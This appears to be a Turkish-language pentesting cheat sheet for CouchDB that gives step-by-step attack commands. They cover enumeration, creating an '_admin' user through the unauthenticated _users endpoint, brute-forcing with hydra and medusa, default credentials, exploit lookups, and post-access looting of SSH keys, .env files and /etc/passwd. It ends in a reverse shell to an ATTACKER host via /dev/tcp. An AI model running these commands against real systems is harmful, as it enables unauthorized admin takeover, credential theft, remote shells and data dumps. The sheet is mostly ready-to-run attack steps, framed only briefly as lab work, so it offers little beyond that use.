5984,6984 - Pentesting CouchDB
CouchDB database
CouchDB HTTP API sunar. Eski sürümlerde unauth admin ve query server RCE zinciri vardır. Hedef lab IP’si üzerinde komutları 5984 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
5984 doğrula.
-
/_all_dbs ve membership.
-
Auth bypass / CVE.
-
Design doc RCE.
nmap -Pn -sV -p5984 TARGETcurl -s http://TARGET:5984/curl -s http://TARGET:5984/_all_dbscurl -s http://TARGET:5984/_membershipAuth / CVE
Section titled “Auth / CVE”curl -s -X PUT http://TARGET:5984/_users/org.couchdb.user:hacker -H 'Content-Type: application/json' -d '{"name":"hacker","password":"x","roles":["_admin"],"type":"user"}'nuclei -u http://TARGET:5984 -tags couchdbsearchsploit couchdbcurl -s http://TARGET:5984/DB/_all_docs?include_docs=truecurl -s http://admin:pass@TARGET:5984/_node/node1/_configDerin enum
Section titled “Derin enum”,6984 - CouchDB için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p5984,6984 TARGETnmap -Pn -p5984 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:5984' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',5984));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → ,6984 - CouchDBKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 5984 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 5984nmap -p5984 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit CouchDBmsfconsole -q -x 'search CouchDB; exit'nuclei -u https://TARGET:5984 -t cves/ -silent -severity || truenuclei -u http://TARGET:5984 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 5984printf '' | timeout 3 nc -nv TARGET 5984curl -vk --http1.0 http://TARGET:5984/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”unauth/_users abuse → admin → config/RCE → data dump